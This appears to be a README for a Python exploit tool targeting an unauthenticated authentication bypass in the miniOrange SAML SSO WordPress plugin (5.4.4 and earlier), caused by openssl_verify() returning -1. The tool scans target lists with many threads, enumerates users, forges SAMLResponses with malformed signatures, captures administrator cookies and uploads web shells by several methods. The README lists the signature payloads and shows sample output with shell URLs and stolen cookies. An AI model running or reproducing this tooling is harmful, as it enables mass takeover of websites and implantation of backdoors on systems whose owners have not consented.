
SAML Single Sign On <= 5.4.4 - Unauthenticated Authentication Bypass via SAMLResponse Parameter
SAML Single Sign On <= 5.4.4 - Unauthenticated Authentication Bypass via SAMLResponse Parameter
Proof-of-Concept Exploit
Malformed Signature → openssl_verify() returns -1 → PHP loose cast to true → wp_set_auth_cookie() as Administrator
The SAML Single Sign On – SSO Login plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 5.4.4. This is due to the mo_saml_validate_signature() function performing a loose boolean check on the raw tri-state integer returned by PHP's openssl_verify(), causing an error return value of -1 to be evaluated as truthy and therefore treated as a successful signature verification.
This makes it possible for unauthenticated attackers to log in as any existing WordPress user, including administrators, by submitting a crafted SAMLResponse containing an attacker-controlled NameID and a deliberately malformed signature value that triggers an OpenSSL processing error — bypassing verification entirely and resulting in wp_set_auth_cookie() being called for the targeted account.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
The fix is trivial — if ($result === 1) instead of if ($result) — but the impact of the flaw is total authentication bypass.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login redirects and extracts IdP base URLslxml</Issuer> per SAML specopenssl_verify() = -1wordpress_logged_in_* cookie after each attemptPython >= 3.8
pip install requests lxml
lxmlis required for proper Exclusive C14N canonicalization of the SAML Assertion.
python CVE-2026-15981.py
You will be prompted for:
| Prompt | Description | Default |
|---|---|---|
| Targets file | Path to a text file with one target per line | list.txt |
| Threads | Number of concurrent workers (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
One URL per line. HTTP is used by default if no scheme is specified.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Each target progresses through 7 labeled stages:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| File | Content |
|---|---|
sms.txt | One line per confirmed admin session — timestamp, target, user, cookie, shell URL, issuer, signature method |
sms_debug.json | Full diagnostic JSON for every target — including attempt counts and failure classifications |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
The exploit ships 12+ signature payloads specifically crafted to trigger openssl_verify() = -1:
Each is combined with SHA-1 and SHA-256 algorithm URIs, and tested with/without Audience restriction, across multiple SP Entity IDs — maximizing the chance of hitting the -1 return path on any OpenSSL version.
This tool is provided strictly for authorized security testing and educational research purposes. Use it only against systems you own or have explicit written authorization to test.
Unauthorized access to computer systems is a criminal offense. The author assumes no liability for misuse, damage, or any legal consequences arising from the use of this software. You are solely responsible for ensuring compliance with all applicable laws and regulations in your jurisdiction.
By: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| Field | Detail |
|---|
| CVE ID | CVE-2026-15981 |
| Affected Plugin | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Affected Versions | All versions up to and including 5.4.4 |
| Type | Unauthenticated Authentication Bypass |
| CWE | CWE-287: Improper Authentication / CWE-305: Authentication Bypass by Primary Weakness |
| CVSS 3.1 | 9.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentication | None required |
/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD signature in response body| Payload | Description |
|---|
0xFF * 256 | 256 bytes of 0xFF — invalid PKCS#1 padding |
0xFF * 384 | 384 bytes for RSA-3072 key sizes |
0xFF * 512 | 512 bytes for RSA-4096 key sizes |
0xFF * 128 | Shorter buffer for smaller key sizes |
0xFF * 64 | Minimal invalid padding |
0x00 0x01 0xFF*254 | Looks like PKCS#1 v1.5 but with wrong structure |
0x00 0x01 0xFF*126 | Shorter PKCS#1-like structure |
null_2B | Two null-adjacent bytes |
rand_3B / rand_7B | Random bytes — triggers parsing errors |
asn1_bad | Malformed ASN.1 DER sequence |
ff_1B | Single 0xFF byte |